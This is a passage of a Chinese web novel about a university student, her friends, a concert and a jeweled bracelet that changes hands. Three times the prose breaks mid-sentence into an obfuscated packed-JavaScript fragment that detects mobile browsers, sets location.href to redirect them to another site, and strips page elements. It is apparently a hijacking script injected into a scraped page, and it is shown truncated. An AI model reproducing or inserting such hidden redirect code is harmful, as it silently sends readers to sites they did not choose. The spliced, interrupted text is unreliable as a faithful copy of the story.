看到他往自己的方向走来,庄森芽有点疑惑。 费洛来到近前,俯下身来,侧对着她,压低了声音说:“森芽,有个事情我问了你别生气,不想回答也是可以的。” 庄森芽不知道他这么突然神神秘秘的是想说什么,“什么事?” “那个主唱……”费洛犹豫了一下,似乎有个词在他口中含了许久都吐不出来,最终还是换了一个,“你是不是认识?” 庄森芽不解,这有什么好生气的。 “我昨天去接机了,和乐队成员们都有过交流。”她含糊其辞。 费洛张了张嘴,“一周之前外联部的会上,你还记得吗,部长让我们把手机都交上去,谁的手机响了,就要把收到的信息当众念出来。” 庄森芽回想起了那一天,她当然记得,因为自己那天也出了不少丑态。不过她不理解当下费洛为什么要提起当时的事。 “我记得,怎么了?” “这个诺特斯……”费洛抬起眼睛,直勾勾盯着她,“是你备注‘神经病’的那个人吗?” 听到这里,庄森芽心里咯噔一下。 费洛怎么看出来的!? “他刚才说有个光头观众在他街头表演的时候半个小时都没挪地方。”费洛解释,“我记得那天你收到的信息也是这样。外国人,肤色,音乐,一切都吻合。” 庄森芽紧张地抿紧了唇,警惕地反问对方,“你关心这个干嘛?” “了解一下好兄弟的感情状况?”他笑起来,插科打诨。 “我跟他没什么关系。” “但那天给你发消息的的确是他。”他断言。 “……”庄森芽不想欺骗好朋友,但是这点她必须隐瞒,不能让人知道她和诺特斯有什么私下的往来,不然越挖越深,漫画的事情就瞒不住了,“……不是。” 费洛盯着她,目光清亮,仿佛能径直看透人心一般,“真不是?” “真不是。”庄森芽再次否定,开始信口胡诌,“你听错了,狗哥,他们刚才说的根本不是这回事。” 外联部形象大使打量了她片刻,而后咧嘴笑开,“那可能真的是我听错了吧,哎呀,这个英语是真的难学,我去年挂科最狠的就是专业英语!” 他说着,站起来,摆弄着自己的手机。 庄森芽隐约看到他打开了和裴佑哲的聊天框,具体发了些什么东西就没有再看到了。费洛背对着她回到梳妆台附近,走过去的途中低头在手机上噼里啪啦地打字。 毫无疑问,他发了什么消息给裴佑哲。 这段交流有点莫名其妙,庄森芽只当是对方突然犯了什么八卦的病。 一个两个都以为她和诺特斯有点什么关系,同学也是,父母也是……这真是天大的误会。 怎么会觉得他俩有什么可能? 就算不知道诺特斯的真实身份,光看表面也不会觉得他们般配吧,一黑一白,怎么看都势不两立。 半个小时后,妆容告一段落,化妆师们开始给几个人搭配配饰,包括耳环啊项链之类,把几人打扮得都十分夺目。 这个时候,化妆室的门被推开了,一个人影走了进来。 庄森芽看过去,有些意外的发现那是裴佑哲。他光是走进来,站在门口,就吸引了不少注意,学生会主席在学校内的影响力是极大的,走到哪都免不了被人注目。 裴佑哲扫视了一圈化妆室,蜻蜓点水似的掠过每一个人的脸庞,包括那几个乐队成员。最终,他的目光落在角落的人身上。 “森芽。”他唤着,声音穿透了所有嘈杂,“我有事拜托你。” 学生会主席当众走到庄森芽面前,朝她摊开一只手,那只手上躺着一副黄宝石耳坠,镶着亮闪闪的银边,看起来低调又奢华。 “玥诗马上要上台演出了,我想请你把这个交给她。” 庄森芽接过了那副耳坠,想起来昨天晚上裴佑哲对自己说过的那番话。 她认定自己肩膀上担负着维系好两人关系的责任,庄重地站起来,神情十分诚恳地应下,“没问题,佑哲,我一定办到。” “记得不要说是我送的。请她带着这个上台,它应该很搭她今天的服饰。” “我懂。”她极快地回答,“交给我吧。” 裴佑哲笑了一下,然后又从口袋里翻出什么,摊开掌心,那是一个蓝色的星空手链。 庄森芽接了过来,攥在手心里,“好的,我会一并交给她的。” “不,这个是给你的。” 庄森芽一愣,低头看向自己手掌中的蓝色手链。作为基底的链子是珍珠一样的浅白色,珠子有些是星云形状的,有些是标准的圆球,挂饰是一颗浅蓝色的星星。它看着不重,但握在手里却沉甸甸的,做工非常扎实,一看就价格不菲。 “是作为跑腿的谢礼。”裴佑哲补充。 “可是太贵重了,我不能要。”庄森芽别忙把手递上前去,“而且我只是顺手转交东西……” 裴佑哲没有把它收回来,反而是握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208470|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着庄森芽的手,将她的指尖扣下去,让那个星云手链被她的手掌紧紧包裹起来。 “后面还有很多麻烦你做的事情,你不收下的话,我会良心不安的。”他恳求着,露出一种无法让人拒绝的神情。 庄森芽纠结了一阵,“……那你保证,后面可不准再送了啊。” 这条链子得有多少钱,几百?上千?她得帮多少忙才能把这个人情还回去啊。 裴佑哲一笑,没答应也没否定。 他来这一趟似乎只是为了这么一件事,和庄森芽交代完之后就离开了化妆室,除了刚进来的时候扫视了一下众人,其余时间一直盯着她,旁人谁也没看。 经他这么一闹,房间里掀起了小小的骚动,有人谈论着裴佑哲和石玥诗的事情,有人在说学生会主席出手阔气。 乐队的金发鼓手佩吉靠近庄森芽,身后还跟着一个喊着“不要乱动”的化妆师,但他不管不顾,兀自来到她身前,一脸好奇地盯着她的手心,“美女,能给我看看那个手链吗?” 庄森芽十分配合地摊开了自己的手掌。 佩吉的眼睛里顿时在放光,他捏起来,回头冲着诺特斯大喊,“是伊莎多拉太太一直想要的限定星空款!几天前就断货了,她还和我哭诉过没抢到。” 黑发的男人闻言,回头,目光第一次落在庄森芽的身上,“真的像伊莎多拉太太说的那么好看吗?” “真的!”佩吉面色十分兴奋,他转过头来问庄森芽,“我能拿过去给诺特斯看一下吗?很快就还回来,保证不会弄坏。” 见他们好像都挺了解这个首饰,而且听起来就不是什么便宜货,庄森芽有点忐忑地说:“可以……但你能先告诉我,这个手链值多少钱吗?” 要是超出心理预期,她就真的要把这个手链还给裴佑哲了,说什么也不能收下。 “嗯……差不多是我两个月薪水吧?”佩吉说。 庄森芽咽了口口水,“请问你一个月薪水多少?” 对方咧嘴一笑,“哎呦,我签了保密协议,这个可不能说。” 佩吉拿着星空手链去到诺特斯身边,和他两人研究了起来,发出声声赞叹。 “伊莎多拉太太的眼光真好。”佩吉摇了摇头,“难怪她和我哭诉了那么久,没抢到确实可惜啊。” 诺特斯:“她家的老伯恩山刚刚生了一窝小崽,本来是想买条手链改造一下做成挂饰,作为庆祝。但现在看来只能换个礼物了。” 佩吉的表情有点遗憾,“是啊,伊莎多拉太太没有孩子,一直把老伯恩山当成是自己的小孩,什么都要给它最好的……” “也算是一种寄托吧。” 佩吉忧郁了半晌,突然想到了什么点子,又雀跃起来,“欸,诺特斯,你说,我们要是给她带一个高仿的回去,是不是也行?反正现在手里有个真货,拿去仿制一个应该能以假乱真。” 诺特斯把星空手链从对方的手里拿过来,在手里把玩着,“也就你能想出来这种馊主意。” “你就说是不是个好主意吧。” 58. 四舍五入,两手空空 看两人聊得热火朝天,一时没有把手链交还回来的意思,庄森芽打算先去把黄宝石耳坠送给石玥诗,以免等下时间来不及。 她找到了女士们所在的化妆间,推门走了进去,很快就找到了目标人物。 石玥诗坐在镜子前,穿着一身素净的白裙,脸上画着浓墨重彩的妆容,头发在脑袋后面挽起,两缕鬓发垂下来,绕着灵动的卷,整个人像是个城堡里的公主一样。 “玥诗,我来给你送点东西。”她掏出那条黄宝石耳坠,递了上去。 石玥诗接过来,“这是?” “呃……”她头脑飞转想了一个借口,“是费洛……!费洛说你今天戴这个好看。” 她说完,紧急给费洛发了条信息:「我和玥诗说那条黄水晶耳坠是你送的,她要是问起来记得圆谎!!」 半秒,她收到了来自费洛的消息:「Ok。」 石玥诗耳朵上已经戴着一副银白色的耳钉了,她不得不把它们摘下来,才能把新的戴上去,“既然是形象大使的审美,那我就欣然接受了。” 黄水晶耳坠和她的发色很接近,戴上去之后有种和谐的美。 庄森芽看了一眼,感觉心灵得到了升华。不愧是裴佑哲亲手挑选的,简直合适到赏心悦目。 “那你先忙,我走了。”庄森芽立刻打算开溜,生怕在这里呆久了会露馅。 她像个仓鼠一样骨碌碌地转,离开一个化妆间,忙碌地赶往另一个化妆间。 然而,门刚打开,一片阴影压了上来。 她抬头,看到诺特斯就站在她的眼前。 男人似乎打算离开房间去做什么,表情是不苟言笑的,目光垂落下来盯着她,妆容加重了他脸上的阴影,在光亮不那么强的廊道里,显得有些冷酷无情。 庄森芽一下就愣住不动了,盯着对方,像个受惊的鸟一样。 明明之前做好了那么多心理准备,说再见到他的时候一定要摆出一副毫不在乎的模样,但真到了这一刻,却发现自己没那么洒脱,只会僵硬得连句话都说不出来。 诺特斯一只手还抓着门把,而昨天就是这只手扣住了她的后脑,也是这只手把她压制在床上,庄森芽还记得那是如何无法挣脱的力道。 男人往前走了一步,她吓得连连后退两步。 然而,对方什么也没做,目光在她脸上轻沾了一下,就撇去一旁,就像不太认识她一样,他沿着墙壁走,似乎是要去洗手间。 不清楚对方的视而不见究竟是因为昨天发生的事情,还是因为想要继续营造他们并不熟悉的假象,又或许两者都有。 盯着那个背影,只觉得自己的心脏蹦蹦直跳。 太没出息了……她不由在心中骂自己。 居然被对方一个眼神吓成这样,昨天要把他千刀万剐的那种气势呢? 她抿抿唇,鼓起勇气,朝那个背影张口,“手链在哪?还给我。” 她还等着拿回来之后,上网识图,搜一下它的价格。 现在越来越感觉那不是能收的东西,隐隐觉得那条手链的售价肯定是她的心脏不能承受的,要是弄坏了,怕把自己卖了都赔不起。 男人驻足,侧过头来,“它现在是我的。” 庄森芽:“什么?” “我买下了。” 她不理解,皱着眉盯着对方,“买下是什么意思?” 诺特斯转身走过来,庄森芽不由得紧绷起来,想要往后退,但是一丝不甘服输的心态让她立在原地。 男人掏出自己的手机,指尖在上面灵活地操作了几下,打开一个界面,举到庄森芽眼前。 那是一个转账界面,收款人只露出来一个姓:‘裴’,付款人是诺特斯的英文名,而显示在中央的转账金额比她的命还长。 她反应一下,明白了过来。 所以,是诺特斯给裴佑哲转了账,从他那里把星空手链买下来了? 他是怎么知道裴佑哲的收款账号的……不,这种事情对他来说应该很容易吧,随随便便隐个身就能从背后‘正大光明’盯着别人手机看,想知道点什么信息都是易如反掌。 诺特斯买下手链的动机也不是不能理解,他刚才和鼓手佩吉的聊天她都听见了,肯定是为了那个伊莎多拉太太所以才破费的。 可是这样很怪。 在她把项链还给裴佑哲之前,那都算是她的东西,诺特斯怎么能随便拿走?太自以为是了。 不过想想他一直以来的作风,只能说这的确很符合他的人物性格…… 可那原本是裴佑哲送给她的跑腿礼物,现在礼物没了,手链在诺特斯手里,钱在裴佑哲手里,这样算下来……她岂不是什么也没得到? 不不,不是说她馋那条手链,本来她也是打算还给裴佑哲的…… 好吧,她馋,亮晶晶又好看的东西谁不喜欢。 但是在诺特斯给她亮出转账记录之后,她只想给裴佑哲哐哐磕两个大头求他下次别送这么贵的东西,不然她在他面前真的会把自己代入黑奴的身份的,赎清之前头都抬不起来。 “你真给裴佑哲转账过去了?”庄森芽不太信任地说。 诺特斯收回手机,转身继续往原先的目的地走,留给她一个背影,“不信你自己去问他。” 对哦。 经对方提醒,庄森芽拿出自己的手机,给裴佑哲编辑了一条信息过去:「佑哲,你刚才有收到‘Notus’这个名字的账号给你的转账吗?」 她等待了片刻,没有收到回应,于是走进化妆室,继续在角落的椅子上坐着。 十分钟过去了,对面还是没有回信。 奇怪,以前裴佑哲都是很快就回消息的,难道是在忙什么吗? 十五分钟的时候,她终于等到了消息,可那不是一句回应,不是‘有’或‘没有’,而是句没有标点的疑问—— 「他是你的什么人」 不知为何,看到这几个字,她的心脏紧了一下。 明明只是几个文字,可她却总觉得发信息的人似乎气压很低,要说为什么有这种感觉的话,是因为裴佑哲无视了她说的话,而以一个问题回应问题。 这绝对不是什么开心的表现。 为什么会这样,难道是诺特斯对他说了什么吗? 还是因为裴佑哲觉得是她把他的收款账号信息透露给了诺德斯,而这侵犯到了他的隐私? 又或者说,他送她的礼物最终却变成了一个交易品,这件事情让他感觉生气? 无论哪种,她总觉得裴佑哲低沉的气息透过文字都快具象化了,得找个方式解释清楚这件事。 现在找诺特斯追讨回来是不太可能了,倒也不是不能这么做,但她有点没有勇气去和那个男人对峙,怕他再做出什么越轨的事。 于是,她给裴佑哲回复:「对不起,佑哲,擅自做了决定。但诺特斯的朋友真的很需要这条手链……你要是觉得不合适的话,我就去讨要回来。」 她把决定权留给了裴佑哲,如果对方说那条手链必须要回来的话,那她冒着风险也要去和诺特斯谈判。 可是这段话发出去之后,裴佑哲又不回消息了。庄森芽等了很久,但聊天记录的结尾始终都是她那句干巴巴的回复。 时间过去了有一阵,到了登台演出的时候。 外联部的工作暂时告一段落,接下来只需要交给负责舞台相关事宜的学生们。 乐队准备从后台登上舞台,段子良也招呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208471|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部员们去往观众席。忙了好一阵子,他们也该有权利去好好欣赏表演,放松一下自己。 因为可能需要随时应对舞台上的状况,所以外联部的人留了几个坐在第一排的侧面,而庄森芽也在其中。她左手边坐着一个段子良,右手边坐着一个费洛,再往右几个座位上坐着学生会主席裴佑哲。 等待观众入场的途中,裴佑哲专注地看着舞台,坐姿端正,脸上看不出有什么不正常。 庄森芽低头看了眼自己的手机,对方还是没有给她回消息过来,这让她的心情有点忐忑。 她频繁地往裴佑哲的方向看,模样有些忧虑,费洛不禁转过头来问她:“怎么了,你看什么呢?” “不,没事……”她把头缩了回去。不是不想和费洛分享这件事情,而是她已经不知道该怎么说好了,凡是和诺特斯有关的都必须想出一个借口,这让她疲于应对。 场地内部响起嘈杂隆盛的人声,观众当中主要以领导、老师和学生为主,他们排排坐开,等待着演出的开幕。 过程之中,庄森芽感觉有人戳了戳她的肩膀,回过头去,眼前是一个粉头发的女生。 温枣笑嘻嘻地盯着她,身边还跟着个何元楚。 看到他们,庄森芽只觉得阴霾骤然散开了一些,“枣枣,你们也来了。” 他们两人在庄森芽和费洛的身后坐下,雏鸟周小组的成员又汇聚在了一起,真的像是鸟儿一样叽叽喳喳地攀谈了起来。 温枣:“有演出的地方哪能没有我?而且还是学校内部的表演,虽然不知道是什么人来开演唱会吧,但这个热闹是一定要凑一凑的!” 何元楚推了一把自己的眼镜,对费洛说:“狗哥,你看演出的热情要是能分给学术一点,也不至于留级。” “嘿你小子,怎么上来就损我。”费洛笑着,佯装要打何元楚的脑袋。 温枣笑得开心,“哈哈,元楚的心意是好的,他的意思是狗哥你学习上要是有什么难处可以找他,他现在很强的,已经被学生会学术部的老大看中了。” 费洛不理解,“被学术部的老大看中是什么意思?” 何元楚:“也就是说,你今年如果又不及格,负责你复试和留级的学生监督员,很有可能是我。” 学术部的高层一个个都是人精,这个人精指的是,他们的学习成绩往往一骑绝尘,而且不怎么需要付出努力,因为还要分出时间精力去应付部门内部的事情,做不到的人在学术部是爬不上去的。 费洛目瞪口呆,“老哥,脑子能分我点用用吗。” 何元楚没回话,转而在手机上操作了一番。 几个人的手机叮叮咚咚响了起来,低头查看,发现是何元楚在群里发送了几条文件消息。 “上面是大一通用课程期末考试的题目范围,到时候照着这个复习就可以了。”何元楚发出了学霸的声音。 庄森芽抬起头,有些惊讶,“这才刚开学多久……题目你都弄到手了?” 没想到这个大腿是真的让她抱到了,可以说这算是这几天来发生的唯一一件好事。 费洛的眼里闪烁着泪光,感动涕零,模样夸张无比,“楚哥,你真是人帅心善!” “人帅心善!”庄森芽崇拜地复议。 何元楚又推了一把眼镜,巧妙地遮挡住自己的表情,“我只是不想下学期的时候还要抽时间给你们补课。” “呀,元楚,你简直不要太爱我们了!”温枣搂着何元楚的脖子,激动地摇晃着。 “喂……!”何元楚脸上的余韵消失了,浮现起可疑的红晕。 闹着闹着,场地就安静了下来,观众们陆续入座,主持人也登上了舞台。 演出要正式开场了。 59. 无妄的罪名 开幕语过后,特效组加大马力,灯光组忙不停歇,一片神秘的白雾之中,乐队和舞团的身影若隐若现。 前奏曲击破了迷雾,歌声随之响起,主唱的身影立在麦克风前,一束光柱自上而下照亮了他,繁杂的服饰像是羽翼一样披盖在身,锐利的眉眼微睁,显出一副惬意懒散的姿态。 “哇,好帅。”温枣发出感慨。 费洛满意地打量着舞台上的人,“可以,服装上台效果还不错。” 歌声响起的时候,观众席很快就安静了下来,人们专注地静静聆听,这是首带着一些异域色彩的情歌。 它欢愉动听,却让庄森芽一下子想起昨天晚上那首悲恸的哀歌,明明歌者没变,嗓音依旧,可情绪的改变却仿佛让台上的人也完全换了一个。 看着那双金棕色的缱绻的眼,她又想起昨日那首哀歌结束时,男人那双深陷悲伤的眼睛。 那看起来并不是因为唱了一首哀歌而悲痛,更像是因为与其作者有着相似的经历,所以才能感同身受。 好像就是那个时候开始,男人的性情大变,所以才发生了后来的…… 那首歌对他而言到底有什么意义? 庄森芽不禁就这件事情思考了起来,不是因为她有多么想要了解诺特斯,而是因为说不定能从中找出对方的什么把柄或者软肋,将来能方便她更有把握地去对付他。 可是仅仅一首歌而已,其中的信息实在太少。 那首歌的作者是个女人,认定是自己杀害了丈夫,有随他一同而去的念头,最后好像确实也是这么做了。 然而这些文字哪个都和诺特斯看起来半点关系没有。 除了他真的动手夺走过别人的生命之外,毫无瓜葛。 让他对手下的亡魂产生一点点的懊悔之心?天方夜谭。 庄森芽目光严肃地盯着舞台,一点欣赏的兴致都没有,满脑子都是怎么杜绝昨天那样的事情再度发生,毕竟在漫画完结之前,她免不了还要和那个麻烦有所往来。 “咦,这个人……”这时候,第二排的温枣发出了疑惑的声音。 何元楚:“怎么?” “这个主唱,我怎么看着有点眼熟?” 听到身后的人这么说,庄森芽冷不丁惊醒过来,从自己的思绪中抽离,整个人瞬间有些紧绷。 她当然还记得身后这个女孩是《灵月十四》的粉丝,也就是说温枣无疑知道里面的反派长什么样。 虽然漫画和现实有一定的差距,许多细枝末节都不会在画笔下呈现,但是气质和轮廓这些就没有什么实现的壁垒了。 ……温枣不会看出来什么了吧?难道说她看出诺特斯—— “可能在媒体流之类的刷到过?”何元楚说,“据说他在希腊还是小有名气的。” 温枣沉吟一声,“有可能哦。” 听到话题被拐向这个方向,庄森芽舒了一口气。 还好没被觉察出来什么,不然的话,她可有的解释了——这里说的解释,当然是指想尽办法找借口弄虚作假。 这时候,第一首歌结束,观众席爆发了激烈的掌声。 第二首紧随而至,比第一首的节奏更加快速,鼓点也更加密集,有往摇滚靠拢的趋势。 随着歌声铺陈开来,舞团也行动了起来,以学生会艺术部副部长石玥诗为首的伴舞们加入表演,随着音乐的声音轻快地舞动着。 全场掌声雷动,歌美人美,可谓大饱眼福。 石玥诗耳上带着一副闪闪发亮的黄水晶耳坠,伴随着她舞姿的律动,它灵动地闪烁着。 看到它,庄森芽就不由自主想起来裴佑哲和石玥诗两人之间的事。她心想,看到她戴着他送她的耳坠上台演出,裴佑哲的心情应该不错吧。 既然心情不错,是不是也该回自己的消息了呢?别让她那么忐忑,给她一个准话,到底要不要把星空手链要回来,要的话她就硬着头皮行动,不要那正好。 赶快说出来给她一个解脱吧。 这么想着,庄森芽歪头看向裴佑哲的方向。 学生会主席的坐姿好似从未变化,依然身板挺得笔直。然而唯一不同的是,他专注的神情似乎更深沉了一些,眉头微蹙着,嘴角也有点往下坠。 这幅模样,怎么看都很严肃阴沉。 可为什么?看到石玥诗戴着那副黄水晶耳坠,他不应该感到高兴才对吗? 疑惑的时候,庄森芽顺着裴佑哲的目光向舞台上看去。 她得到了答案。 乐曲来到了高潮,鼓点隆隆作响,主舞来到了场地中央,靠近主唱的位置。她舞姿十分优雅,轻轻往前一跃,就来到了诺特斯的身前。 诺特斯将麦克风摘下来,另一只手朝石玥诗伸过去,牵起她戴着白手套的手。 石玥诗转了个圈,动作十分的标准有力,她像一只白天鹅一样钻进了主唱的怀里,和对方对视一秒,又像一条被甩开的绫带一样弹了出去,而彼此牵引的手并没有松开,两人就像是日月一般在相互环绕。 庄森芽绷直了身体。 怎么会有这种环节?她没怎么仔细看彩排,居然不知道主唱和主舞还会有这种程度的互动……! 她紧紧地盯着,感觉腹部升起一阵不适,好像有什么东西拧紧了胃部,让人有些难受,她把这种感觉归咎于紧张。 台上的一幕肯定叫裴佑哲看在了眼中,难怪他的表情那么阴森可怕。 怎么办?这只会让他和石玥诗之间本就摇摇欲坠的关系雪上加霜……! 得想个办法阻止台上的互动。 庄森芽掏出自己的手机,虽然知道现在诺特斯大概没空看消息,但抱着一丝试试看的心态,她打开聊天框在上面打字:「不要离主舞那么近!」 消息不知道能不能传达过去,说实话,现在手机在不在诺特斯身上她都不敢确定。 乐曲的高潮过去,这场令人心惊胆颤的表演终于结束了。主唱和主舞两人分开,又在各自的空间里向观众发散魅力。 一曲结束,歌手休息,接下来是一段吉他手的Solo。 诺特斯去架子鼓旁边找水喝,身影隐藏在了舞台的阴影之中,他背对着观众席。 不过片刻,庄森芽的手机就收到了消息。 诺特斯:「怎么?」 中场休息的时间有限,庄森芽抓住这个时机,在手机上噼里啪啦地打字,声音听起来屏幕都要起火了:「主舞是有喜欢的人的,你别沾花惹草。」 诺特斯:「演出的互动设计是这样,你叫我怎么办?」 庄森芽:「总之……总之你别跟她那么暧昧!」 诺特斯:「……」 庄森芽:「她和喜欢的人现在关系很紧张,你这样纯属是火上浇油。」 诺特斯:「就只是跳舞而已,我又没有吻她。」 庄森芽:「你还想吻她!?」 诺特斯:「我不想。」 看到那个字眼,她只觉得身体里像有什么开关被触碰了,顿时愤慨激昂,在小小的输入框里奋笔疾书,满屏都是对诺特斯的指责:「你给我注意点,这里是学校,不是你可以肆意妄为的地方!不光是主舞,离其他女学生们都远点,你要是敢有什么想法,对她们做出什么伤天害理的事情的话,我不会轻饶了你……!」 写下了长长一段,消息发出去,半晌却没有收到回应,抬头,这才发现诺特斯已经放下手机回到了舞台中央,准备开始下一曲的表演了。 不知是排练如此,还是他收敛了些,这一曲主舞虽然和他有些互动,但都像是蜻蜓点水一样,眼神还没接触上,身影就掠了过去。 庄森芽刚想安下心来,余光却看到几人之隔的裴佑哲倏然站了起来,头也不回地转身离席。 ……他生气了! 庄森芽如此断定。 完了完了,最后还是搞砸了,裴佑哲现在肯定特别特别愤怒。石玥诗和别人当众跳舞,他一定是气得都看不下去了,才会演出刚到两首曲目的时候就离开。 挽救得有点晚,这下事情不好办了。怎么会这样,要不要等一下拉着诺特斯去向他道歉? 唉真是……!诺特斯怎么这么会给她找事做? “啊!” 就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208472|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时,身后传来一声惊叫,吓得庄森芽出了一身冷汗。 她猛然转头朝后看去,只见温枣抱着自己的手机,盯着屏幕,神色忧心忡忡。 “怎么办!”她哀鸣。 庄森芽:“怎么了?” “团长和团长打起来了!” 这话听得庄森芽云里雾里,表情是一片迷茫。 一旁的何元楚解释说:“她是说动漫社的团长和绘画社的团长。” 话题岔开得有点让人不知所措,但听到有自家社团的事情,庄森芽不由给予了关注,“打起来?他们动手了吗?” 温枣似乎有点混乱,解释不太清楚,只好将手机递给庄森芽,让她看看那上面的内容,“团长让我速归!” 早在开学的时候,温枣就加入了动漫社,而她所说的团长,指的是动漫社的团长赵茵。 庄森芽接过手机,屏幕上显示的是聊天记录,上面有一张图片,似乎是一纸战书,是动漫社团长给绘画社团长下的,上面说她要和他决一死战。 “决一死战……不会是要打群架吧?”庄森芽问。 温枣站了起来,“团长在呼唤我,我得走了,你们继续!” 说着,她像个慌不择路的小鹿一样磕磕绊绊地离开了观众席。 “喂……你手机都没拿!”何元楚从庄森芽手里拿走手机,追了上去,而他这一追就没回来,跟着温枣两人风风火火地走了。 “哈哈。”身旁响起费洛的笑声,“这两人真的是跟连体婴儿一样,形影相随。” 没搞明白动漫社和绘画社是怎么回事,庄森芽有点迷茫地转回身来,“……是呀,他们关系是很好。” “也不知道元楚那小子什么时候告白。” 这句话在庄森芽脑袋里转了一圈,她再度感到茫然,“啊?什么意思?” 费洛把脸扭过来,盯着庄森芽,接着,他的表情渐渐变得惊讶起来,“不是吧……别告诉我你没看出来?” “看出来什么?”她真的不懂。 费洛睁大了眼睛,嘴上也没个把边的,“元楚喜欢温枣啊。” “……哈?”现在轮到她惊讶了。 他们两人大眼瞪小眼,都是一副震惊无比的模样。 费洛有点语无伦次,“我以为你知道……不是,你怎么能不知道?他们俩那么……虽然温枣看起来好像也不知道。” 本就感觉到困惑,再听费洛一番胡言乱语,她更不明白了。 “天哪……我以为温枣就已经够迟钝了,没想到身边还有一个更迟钝的。” “你是在说我吗?” “不是你是谁。”费洛说,“你是旁观者哎,我的好妹妹,你在旁观者的视角居然都看不清。” “什么啊……”庄森芽皱眉,“我没感觉那俩人有这个意思啊。” 回想了一番结识以来的过往,她更加确信自己的判断。 不都是以朋友的模式相处吗? 费洛捂脸,“果然不是一个性格的人玩不到一起去啊……难怪绘画部写生那天你俩给我使绊子,原以为是成心没想到是无意……” 庄森芽揪了一下他浅黄色的头发,有点不满地说:“你小声嘀咕什么呢?” 费洛从手掌里抬起头来,无药可救地看着她,“你不会连谁喜欢你都看不出来吧。” 她依然皱着眉,“谁喜欢我?” 形象大使摊在座位上,缓缓滑下去,看向华丽的舞台,喃喃道:“不愧是让情圣都束手无措的女人……” 这时候,一道阴影在庄森芽在眼前闪过。她只捕捉到部长段子良一个严厉的侧脸,紧接着就听到仿佛是拍西瓜的一声响,而后是费洛吃痛的叫声。 “疼!” 叫声很凄惨,但听声音是好瓜。 “吵死了,安静看演出!”段子良隔着一个座位给费洛来了一个脑瓜崩。 金毛犬捂着脑袋不敢说话了,段子良这才缩回到她自己的座位上去。 整个过程,被夹在中间的庄森芽紧绷着脸,大气不敢出,生怕自己也被波及。 那声音听着就很疼。 60. 未被觉察的压抑 后半场演出整体上没出什么意外,如果不算结束那一幕的话。 临近闭幕,规定的曲目唱完了,观众们都在嚷嚷着多唱两首。 主唱微笑着面对大家,他张开双臂,然后深深鞠了一躬。 而就在他做完这个动作之后,身影倏然消失了,引发了观众的阵阵惊呼。 看到这一幕,庄森芽的心脏都提到了嗓子眼。 靠!!他在做什么?!居然当众用他的能力! 之前他们的约定都被他忘到脑袋后面去了吗?要是闹出什么事的话怎么办?! 乐队纷纷离场,回到了后台。与此同时,段子良组织外联部的人也去往后台,接应一下乐队成员。她刚张口呼唤部员们,一阵风就从她身旁掠过,那是庄森芽。 她以最快的速度跑向后台,势要找到诺特斯质问个底朝天,此刻的她倒是一点也不害怕了,只觉得满腔都是愤怒。 来到化妆间,一脚踹开了门,房间里几个乐团成员纷纷回过头来,诧异地盯着愤慨的人。 “你,给我出来!”她指着诺特斯的鼻子。 几个乐队成员又看向诺特斯,脸上都是一副不解的表情,像是不知道他们的主唱是怎么惹到了这个看起来一直挺友善的女孩。 诺特斯慢条斯理地脱掉了演出服,只留一件白衬衫在身上,这才不紧不慢地往化妆间门口走。 整个过程,他一句话也没说,模样活像个优哉游哉往绞刑架走的犯人。 庄森芽把他领到了一个无人的房间,在对方进来之后,砰一下子关上了门。 又是这种两人身处一个密闭空间的状况,但这次不同,被怒火浇灌的一方不再表现出一丝弱势。 庄森芽大声质问,“你在想什么?你不想好了是不是!当众那么搞很有意思吗,非要让所有人都知道这件事然后呢,指望他们崇拜你佩服你围着你打转?” 指控之下,诺特斯用一个侧影朝着愤慨的人,等她结束了这番愤怒的话语,这才波澜不惊地说道:“舞台地板上有一个机关,敞开之后,人就会掉到下面的垫子上。” 庄森芽脸色一滞,不太相信对方说的话,“别想骗我,你刚才可是一下子就消失了……!” “你太紧张看错了吧。”诺特斯模样很平静,脸上什么情绪也看不出来,“那一幕是舞台安排,组织人员都知道,不信你去问问他们。” 庄森芽审慎地盯着对方,微喘着气,被怒火席卷过的胸膛尚且还未平静下来。 诺特斯给自己找了个木桌,在它的边缘坐下,“不是约定好了不会给你找麻烦吗,这点对我的信赖还是要有的吧。” 能有什么信赖就有鬼了,连自己的欲望都控制不住,一言不合把人压着强吻的人在她这里可没有什么公信力。 不过,舞台最后一幕的事,诺特斯说的似乎是真的。 一句话就能验证的事,他没必要说谎。 话说到这里,庄森芽怒气冲冲来找他的理由已经不复存在了,愤怒得到了消解,渐渐地,一种后知后觉的警惕占了上风。 她打算去向工作人员确认诺特斯那番话是否属实,当下,对面前的人也没什么好说的了,于是乎,她慢慢退后,摸向房间的门,做好了随时破门而出的准备。 